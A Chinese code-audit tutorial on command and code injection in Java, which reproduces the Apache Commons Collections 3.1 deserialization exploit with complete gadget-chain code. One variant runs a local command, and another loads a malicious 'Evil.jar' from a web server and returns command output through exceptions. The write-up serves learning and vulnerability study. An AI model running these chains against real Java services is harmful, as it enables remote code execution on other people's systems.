【代码审计】命令注入和代码注入

0x01 命令注入

在开发过程中,开发人员可能需要对系统文件进行移动、删除或者执行一些系统命令,这时如果执行的命令用户可控,就会导致命令执行漏洞。

1、示例

当命令可控时,就可能会导致命令注入,例如以下代码:

String cmd = request.getParameter("cmd");
Runtime.getRuntime().exec(cmd);

这种漏洞原理很简单,主要就是找到执行系统命令的函数,看命令是否可控。

java 程序中执行系统命令的函数如下:

Runtime.exec
Process
ProcessBuilder.start
GroovyShell.evaluate
...

2、命令注入的限制

对于系统命令,可以使用连接符来执行多条语句,常见连接符及含义如下:

;    多个命令顺序执行,命令之间无任何逻辑关系
|    前面命令输出结果作为后面命令的输入内容
||   逻辑或,当前面命令执行失败后,后面命令才会执行,否则后面命令不执行
&    前面命令执行后继续执行后面命令
&&   逻辑与,当前面命令执行成功后,后面命令才会执行,否则后面命令不执行

对于 Java 环境中的命令注入,连接符的使用存在一些限制,例如以下代码:

Runtime.getRuntime().exec("ping " + url);

这里因为 URL 可控,因此当我们输入 127.0.0.1&ipconfig 时,拼接出来的系统命令就是 ping 127.0.0.1&ipconfig,该命令在系统终端下是能正常运行的,但是在 Java 环境下就会运行失败,这里因为 Java 在程序处理的过程中,会将 127.0.0.1&ipconfig 当做一个完整的字符串而非两条命令,因此上面的代码不存在命令注入。

0x02 代码注入

1、介绍

代码注入因为是直接注入一段代码,因此要比命令注入更加灵活,危害性也更大。

这里以 Apache Commons collections 组件为例。

Apache Commons collections 组件 3.1 版本有一段利用反射来完成特定功能的代码,控制相关参数后,就可以进行代码注入。

这里攻击者可以利用反序列化的方式控制相关参数,完成注入代码,达到执行任意代码的效果。

与命令注入相比,代码注入更具有灵活性,例如在 Apache Commons collections 反序列化漏洞中直接使用 Runtime.getRuntime().exec() 执行系统命令是无回显的,但如果通过 URLLoader 远程加载类文件以及异常处理机制就可以构造出回显的利用方式。

这里就以 Apache Commons collections 反序列化漏洞为例,体验一下代码注入,因为现阶段个人水平有限,这里还不能对 Apache Commons collections 反序列化漏洞的原理进行深入分析,等后面学习到相关内容的时候不出意外应该还会碰到这个漏洞,那个时候再好好分析分析这个漏洞。

2、Apache Commons collections 反序列化漏洞复现

环境搭建

该漏洞影响了 3.1 及以下的版本,这里以 3.1 版本为例,首先下载 commons-collections-3.1.zip 文件,下载地址:https://archive.apache.org/dist/commons/collections/binaries/commons-collections-3.1.zip

解压 commons-collections-3.1.zip 可以得到 commons-collections-3.1.jar 文件,接下来打开 intelliJ IDEA,创建一个普通的 Java 项目,然后选择「文件 --> 项目结构 --> 库 --> + --> Java」,添加 commons-collections-3.1.jar 包,我使用的 jdk 版本为 1.8.0_191

接下来在「src --> com --> commons」目录下创建 ApacheCommonsCollectionsDemo.java 文件(右击 com.commons 软件包选择:新建 --> Java 类文件)

无回显利用

在 ApacheCommonsCollectionsDemo.java 文件下写入以下代码

package com.commons;

import java.util.HashMap;
import java.util.Map;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

public class ApacheCommonsCollectionsDemo {
    public static void main(String[] args) {

        //((Runtime) Runtime.class.getMethod("getRuntime").invoke()).exec("calc")
        //构造恶意的chain
        Transformer[] transformers = new Transformer[] {
                //通过内置的ConstantTransformer来获取Runtime类
                new ConstantTransformer(Runtime.class),
                //通过InvokerTransformer来反射调用getMethod方法,参数是getRuntime,其后类似
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null,new Object[0]}),
                new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"open -a Calculator"})
        };

        Transformer transformChain = new ChainedTransformer(transformers);

        //普通的Map
        Map mp=new HashMap();
        mp.put("sw", "demo");

        // 将普通的Map变成TransformedMap,并且指定变换方式为前面定义的恶意chain
        Map transformMap = TransformedMap.decorate(mp, transformChain, transformChain);

        // 修改TransformedMap中的一个值,成功执行命令
        Map.Entry entry=(Map.Entry) transformMap.entrySet().iterator().next();
        entry.setValue("test");
    }
}

注意第 25 行我执行的命令是 open -a Calculator,这里是 Mac 下打开计算机的命令,如果在 Windows 下则需要修改成对应命令。

运行一下代码,可以看到成功弹出计算器

image

这里只是实现了无回显的利用方式,接下来就利用代码注入实现有回显的利用。

有回显利用

这里有回显利用的方式是使用 java.net.URLClassLoader 远程加载自定义恶意类,也就是自己放在服务器上的 jar 包,然后在抛出的异常信息中获得回显结果。

因此这里首先需要先写一个恶意类,具体如下:

import java.io.BufferedReader;
import java.io.InputStreamReader;

public class Evil {
    public static void Exec(String args) throws Exception {
        Process proc = Runtime.getRuntime().exec(args);
        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
        StringBuffer sb = new StringBuffer();
        String line;
        while ((line = br.readLine()) != null) {
            sb.append(line).append("\n");
        }
        String result = sb.toString();
        Exception e = new Exception(result);
        throw e;
    }
}

将恶意类打包成 jar 文件,并放到服务器上,这里因为是本地演示,就直接在本地开个 Python HTTP 服务了。

javac Evil.java
jar -cvf Evil.jar Evil.class
python3 -m http.server 80

然后回到 intelliJ IDEA,在 com.commons 软件包中新建 ApacheCommonsCollectionsDemo2.java 文件,在文件中写入以下内容

package com.commons;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.util.HashMap;
import java.util.Map;

public class ApacheCommonsCollectionsDemo2 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[0];
        try {
            transformers = new Transformer[]{
                    new ConstantTransformer(java.net.URLClassLoader.class),
                    new InvokerTransformer("getConstructor", new Class[]{Class[].class}, new Object[]{new Class[]{java.net.URL[].class}}),
                    new InvokerTransformer("newInstance", new Class[]{Object[].class}, new Object[]{new Object[]{new java.net.URL[]{new java.net.URL("http://127.0.0.1/Evil.jar")}}}),
                    new InvokerTransformer("loadClass", new Class[]{String.class}, new Object[]{"Evil"}),
                    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"Exec", new Class[]{String.class}}),
                    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new String[]{"uname"}})
            };
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }

        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");
        BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

        Field valfield = poc.getClass().getDeclaredField("val");
        valfield.setAccessible(true);
        valfield.set(poc, entry);

        File f = new File("payload.ser");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(poc);
        out.close();

        FileInputStream fis = new FileInputStream("payload.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
        ois.close();
    }
}

这里执行的命令是 uname,运行代码可以看到报错信息里显示了 Darwin,说明命令被成功执行了。

image

这样就利用代码注入实现了 Apache Commons collections 反序列化漏洞有回显的利用。

参考链接:

https://www.freebuf.com/vuls/251664.html

https://www.anquanke.com/post/id/224487

https://blog.csdn.net/Candyys/article/details/106006282

https://blog.csdn.net/java276582434/article/details/90550578

原文链接:

https://www.teamssix.com/211121-153433.html

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,254评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,875评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,682评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,896评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,015评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,152评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,208评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,962评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,388评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,700评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,867评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,551评论 4 335
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,186评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,901评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,142评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,689评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,757评论 2 351

推荐阅读更多精彩内容